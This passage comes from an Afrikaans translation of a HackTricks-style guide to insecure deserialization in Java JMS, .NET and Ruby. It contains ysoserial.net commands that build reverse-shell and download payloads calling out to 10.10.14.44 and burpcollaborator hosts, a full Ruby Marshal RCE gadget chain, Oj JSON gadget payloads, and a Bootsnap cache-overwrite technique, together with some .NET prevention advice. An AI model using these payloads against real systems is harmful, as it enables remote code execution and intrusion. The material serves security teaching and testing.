  • Kryo is 'n alternatiewe serialization framework wat klem lĂȘ op spoed en doeltreffendheid, en bied configureerbare serialization strategies wat sekuriteit kan verbeter.

Verwysings

JNDI Injection & log4Shell

Vind wat JNDI Injection is, hoe dit misbruik kan word via RMI, CORBA & LDAP en hoe om log4shell uit te buit (en 'n voorbeeld van hierdie kwesbaarheid) op die volgende bladsy:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Die Java Message Service (JMS) API is 'n Java message-oriented middleware API vir die stuur van boodskappe tussen twee of meer kliĂ«nte. Dit is 'n implementering om die produsent–verbruiker probleem te hanteer. JMS is deel van die Java Platform, Enterprise Edition (Java EE), en is gedefinieer deur 'n spesifikasie ontwikkel by Sun Microsystems, maar wat sedertdien deur die Java Community Process gelei word. Dit is 'n boodskapprotokol wat toelaat dat toepassingskomponente gebaseer op Java EE boodskappe kan skep, stuur, ontvang, en lees. Dit maak kommunikasie tussen verskillende komponente van 'n verspreide toepassing losweg gekoppeld, betroubaar en asinchronies. (Van Wikipedia).

Produkte

Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Uitbuiting

Daar is basies 'n klomp dienste wat JMS op 'n gevaarlike manier gebruik. Daarom, as jy genoegsame voorregte het om boodskappe aan hierdie dienste te stuur (gewoonlik sal jy geldige credentials benodig) kan jy in staat wees om malicious serialized objects te stuur wat deur die consumer/subscriber gedeserialiseer sal word.
Dit beteken dat in hierdie uitbuiting al die kliënte wat daardie boodskap gaan gebruik geïnfecteer sal raak.

Onthou dat selfs al is 'n diens kwesbaar (omdat dit user input onveilig deserialiser), moet jy steeds geldige gadgets vind om die kwesbaarheid te benut.

Die instrument JMET is geskep om met hierdie dienste te verbind en aan te val deur verskeie malicious serialized objects te stuur wat bekende gadgets gebruik. Hierdie eksploit sal werk as die diens steeds kwesbaar is en as enige van die gebruikte gadgets binne die kwesbare toepassing is.

Verwysings

.Net

In die konteks van .Net werk deserialization exploits op 'n soortgelyke wyse as in Java, waar gadgets misbruik word om spesifieke code uit te voer tydens die deserialisering van 'n object.

Vingerafdruk

WhiteBox

Die bronkode moet nagegaan word vir voorkoms van:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Die fokus moet wees op serializers wat toelaat dat die tipe deur 'n veranderlike onder gebruikersbeheer bepaal word.

BlackBox

Die soektog moet gemik wees op die Base64-geënkodeerde string AAEAAAD///// of enige soortgelyke patroon wat op die bediener-deserialisering kan ondergaan en beheer oor die tipe gee wat gedeserialiseer gaan word. Dit kan, maar is nie beperk tot nie, JSON of XML strukture wat TypeObject of $type bevat.

ysoserial.net

In hierdie geval kan jy die instrument ysoserial.net gebruik om die deserialization exploits te skep. Sodra jy die git repository afgelaai het, moet jy die instrument compile deur byvoorbeeld Visual Studio te gebruik.

As jy wil leer oor hoe ysoserial.net sy eksploit skep, kan jy hierdie bladsy nagaan waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word.

Die hoof opsies van ysoserial.net are: --gadget, --formatter, --output en --plugin.

  • --gadget gebruik om die gadget aan te dui wat misbruik gaan word (wys die klas/funksie wat tydens deserialisering misbruik sal word om commands uit te voer).
  • --formatter, gebruik om die metode aan te dui om die exploit te serialiseer (jy moet weet watter library die back-end gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
  • --output gebruik om aan te dui of jy die exploit in raw of base64 geĂ«nkodeerd wil hĂȘ. Let daarop dat ysoserial.net die payload met UTF-16LE sal encode (encoding wat standaard op Windows gebruik word) so as jy die raw kry en dit net vanaf 'n linux konsole encode, mag jy sommige encoding compatibility problems hĂȘ wat verhoed dat die exploit behoorlik werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk maar dit beteken nie dit sal altyd werk nie).
  • --plugin ysoserial.net ondersteun plugins om exploits vir spesifieke frameworks soos ViewState te skep

Meer ysoserial.net-parameters

  • --minify sal 'n kleiner payload voorsien (indien moontlik)
  • --raf -f Json.Net -c "anything" Dit sal alle gadgets aandui wat saam met 'n gegewe formatter gebruik kan word (Json.Net in hierdie geval)
  • --sf xml jy kan 'n gadget aandui (-g) en ysoserial.net sal soek na formatters wat "xml" bevat (case insensitive)

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net het ook 'n baie interessante parameter wat help om beter te verstaan hoe elke exploit werk: --test
As jy hierdie parameter aandui, sal ysoserial.net die exploit plaaslik probeer, sodat jy kan toets of jou payload korrek sal werk.
Hierdie parameter is nuttig omdat, as jy die kode hersien, jy stukke kode sal vind soos die volgende een (van ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Dit beteken dat, om die exploit te toets, die kode serializersHelper.JsonNet_deserialize sal aanroep.

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In die vorige kode kwesbaar is vir die geskepte exploit. Dus, as jy iets soortgelyks in 'n .Net-toepassing vind, beteken dit waarskynlik dat daardie toepassing ook kwesbaar is. Daarom laat die --test parameter ons toe om te verstaan watter gedeeltes van kode kwesbaar is vir die deserialization exploit wat ysoserial.net kan skep.

ViewState

Kyk na hierdie POST oor hoe om te probeer die __ViewState parameter of .Net te exploiteer om arbitraire kode uit te voer. As jy reeds die secrets gebruik deur die slagoffer se masjien ken, lees hierdie post om te weet hoe om kode uit te voer.

Prevention

Om die risiko's verbonde aan deserialization in .Net te beperk:

  • Vermy om datastrome toe te laat om hul objektipe te definieer. Gebruik DataContractSerializer of XmlSerializer waar moontlik.
  • Vir JSON.Net, stel TypeNameHandling op None: TypeNameHandling = TypeNameHandling.None
  • Vermy die gebruik van JavaScriptSerializer met 'n JavaScriptTypeResolver.
  • Beperk die tipes wat gedeserialize kan word, en verstaan die inherente risiko's met .Net-tipes, soos System.IO.FileInfo, wat server-lĂȘer eienskappe kan wysig en moontlik tot denial of service-aanvalle kan lei.
  • Wees versigtig met tipes wat riskante eienskappe het, soos System.ComponentModel.DataAnnotations.ValidationException met sy Value-eienskap, wat uitgebuit kan word.
  • Beheer tipe-instansiering op 'n veilige wyse om te verhoed dat aanvallers die deserialization-proses beĂŻnvloed, wat selfs DataContractSerializer of XmlSerializer kwesbaar kan maak.
  • Implementeer witlysbeheer met 'n pasgemaakte SerializationBinder vir BinaryFormatter en JSON.Net.
  • Bly ingelig oor bekende onveilige deserialization gadgets binne .Net en vergewis jou dat deserializers nie sulke tipes instansieer nie.
  • Isoleer potensieel riskante kode van kode met internettoegang om te voorkom dat bekende gadgets, soos System.Windows.Data.ObjectDataProvider in WPF-toepassings, aan onbetroubare databronne blootgestel word.

References

Ruby

In Ruby word serialization gefasiliteer deur twee metodes binne die marshal-biblioteek. Die eerste metode, bekend as dump, word gebruik om 'n objek na 'n bytestraam om te skakel. Hierdie proses word serialization genoem. Omgekeerd word die tweede metode, load, aangewend om 'n bytestraam terug in 'n objek te herstel, 'n proses bekend as deserialization.

Vir die beveiliging van serialized objects gebruik Ruby HMAC (Hash-Based Message Authentication Code) om die integriteit en egtheid van die data te verseker. Die sleutel wat hiervoor gebruik word, word in een van die volgende plekke gestoor:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generic deserialization to RCE gadget chain (meer inligting by https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Nog 'n RCE-ketting om Ruby On Rails te exploiteer: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() metode

Soos verduidelik in this vulnerability report, as 'n ongefilterde invoer van 'n gebruiker die .send() metode van 'n Ruby-objek bereik, laat hierdie metode toe om enige ander metode van die objek met enige parameters aan te roep.

Byvoorbeeld, deur eval aan te roep en dan Ruby-kode as tweede parameter te gee, sal dit toelaat om ewekansige kode uit te voer:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Verder, as slegs een parameter van .send() deur 'n attacker beheer word, soos in die vorige writeup genoem, is dit moontlik om enige metode van die object aan te roep wat geen argumente benodig of waarvan die argumente standaardwaardes het.
Hiervoor is dit moontlik om al die metodes van die object te enumereer om sommige interessante metodes te vind wat daardie vereistes vervul.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Kyk hoe dit moontlik kan wees om ’n Ruby class te besoedel en dit hier te misbruik.

Ruby _json pollution

Wanneer jy in ’n body sekere waardes stuur wat nie hashable is nie, soos ’n array, sal dit bygevoeg word onder ’n nuwe sleutel genaamd _json. Dit is egter moontlik vir ’n aanvaller om ook in die body ’n waarde met die naam _json te stel met arbitĂȘre waardes wat hy wil hĂȘ. Indien die backend byvoorbeeld die geldigheid van ’n parameter nagaan maar daarna ook die _json-parameter gebruik om ’n aksie uit te voer, kan daar ’n autorisasie-omseiling plaasvind.

Kry meer inligting op die Ruby _json pollution page.

Ander biblioteke

Hierdie tegniek is geneem uit hierdie blogpost.

Daar is ander Ruby biblioteke wat gebruik kan word om objects te serialize en wat dus misbruik kan word om RCE te verkry tydens ’n insecure deserialization. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat aangeroep word van die gelaaide library wanneer dit ontserealiseer word (funksie om te misbruik om RCE te kry basies):

BiblioteekInvoerdataAanvangsmetode in klas
Marshal (Ruby)Binary_load
OjJSONhash (class needs to be put into hash(map) as key)
OxXMLhash (class needs to be put into hash(map) as key)
Psych (Ruby)YAMLhash (class needs to be put into hash(map) as key)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Basiese voorbeeld:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

By die poging om Oj te misbruik, was dit moontlik om 'n gadget class te vind wat binne sy hash-funksie to_s sal aanroep, wat spec sal aanroep, wat op sy beurt fetch_path sal aanroep wat aangepas kon word om 'n toevallige URL te haal, en sodoende 'n uitstekende detektor vir hierdie soort onsaniteerde deserialisering-kwesbaarhede bied.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Verder is gevind dat met die vorige tegniek ook 'n gids in die stelsel geskep word, wat 'n vereiste is om nog 'n gadget te misbruik om dit in 'n volledige RCE te omskep met iets soos:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Kyk vir meer besonderhede in die original post.

Bootstrap Caching

Nie regtig 'n desearilization vuln nie, maar 'n nette truuk om bootstrap caching te misbruik om RCE te kry uit 'n rails application met 'n arbitrary file write (find the complete original post in here).

Hieronder is 'n kort opsomming van die stappe wat in die artikel bespreek word vir die uitbuiting van 'n arbitrary file write kwesbaarheid deur Bootsnap caching te misbruik:

  • Identify the Vulnerability and Environment

    Die Rails-app se file upload funksionaliteit laat 'n aanvaller toe om lĂȘers arbitrĂȘr te skryf. Alhoewel die app met beperkinge loop (slegs sekere gidse soos tmp is skryfbaar weens Docker’s non-root user), maak dit steeds moontlik om na die Bootsnap cache directory te skryf (gewoonlik onder tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

    Bootsnap speeds up Rails boot times deur gecompileerde Ruby code, YAML, en JSON lĂȘers te cache. Dit stoor cache-lĂȘers wat 'n cache key header insluit (met velde soos Ruby version, file size, mtime, compile options, ens.) gevolg deur die gecompileerde code. Hierdie header word gebruik om die cache tydens app startup te valideer.

  • Gather File Metadata

    Die aanvaller kies eers 'n teikenlĂȘer wat waarskynlik tydens Rails startup gelaai word (byvoorbeeld set.rb vanaf Ruby’s standaardbiblioteek). Deur Ruby-code binne die container uit te voer, haal hulle kritieke metadata uit (soos RUBY_VERSION, RUBY_REVISION, size, mtime, en compile_option). Hierdie data is noodsaaklik om 'n geldige cache key te vervaardig.

  • Compute the Cache File Path

    Deur Bootsnap’s FNV-1a 64-bit hash-meganisme te repliseer, word die korrekte cache-lĂȘerpad bepaal. Hierdie stap verseker dat die kwaadwillige cache-lĂȘer presies geplaas word waar Bootsnap dit verwag (bv. onder tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

    Die aanvaller berei 'n payload voor wat:

    • Executes arbitrary commands (for example, running id to show process info).
    • Verwyder die kwaadwillige cache na uitvoering om recursive uitbuiting te voorkom.
    • Laai die oorspronklike lĂȘer (bv. set.rb) om te voorkom dat die toepassing crash.

    Hierdie payload word in binĂȘre Ruby-code gecompileer en aanmekaar geplak met 'n noukeurig opgeboude cache key header (gebruikende die vooraf versamelde metadata en die korrekte weergavenommer vir Bootsnap).

  • Overwrite and Trigger Execution

    Deur die arbitrary file write kwesbaarheid te gebruik, skryf die aanvaller die vervaardigde cache-lĂȘer na die berekende ligging. Daarna trigger hulle 'n server herbegin (deur te skryf na tmp/restart.txt, wat deur Puma gemonitord word). Tydens die herbegin, wanneer Rails die geteikenlĂȘer require, word die kwaadwillige cache-lĂȘer gelaai, wat lei tot remote code execution (RCE).

Ruby Marshal exploitation in practice (updated)

Behandel enige pad waar onbetroubare bytes by Marshal.load/marshal_load uitkom as 'n RCE-sink. Marshal rekonstrueer arbitrary object graphs en trigger library/gem callbacks tydens materialization.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Algemene gadget-klasse wat in werklike kettings gesien word: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Tipiese neweffek-merker ingebed in payloads (uitgevoer tydens unmarshal):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Waar dit na vore kom in werklike apps:

  • Rails cache stores en session stores wat histories Marshal gebruik het
  • Background job backends en file-backed object stores
  • Enige pasgemaakte persistentie of vervoer van binĂȘre object-blobs

GeĂŻndustrialiseerde gadget-ontdekking:

  • Grep vir konstruktors, hash, _load, init_with, of metode met newe-effekte wat tydens unmarshal aangeroep word
  • Gebruik CodeQL’s Ruby unsafe deserialization queries om sources → sinks te spoor en gadgets te identifiseer
  • Valideer met openbare multi-formaat PoCs (JSON/XML/YAML/Marshal)

Verwysings

  • Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks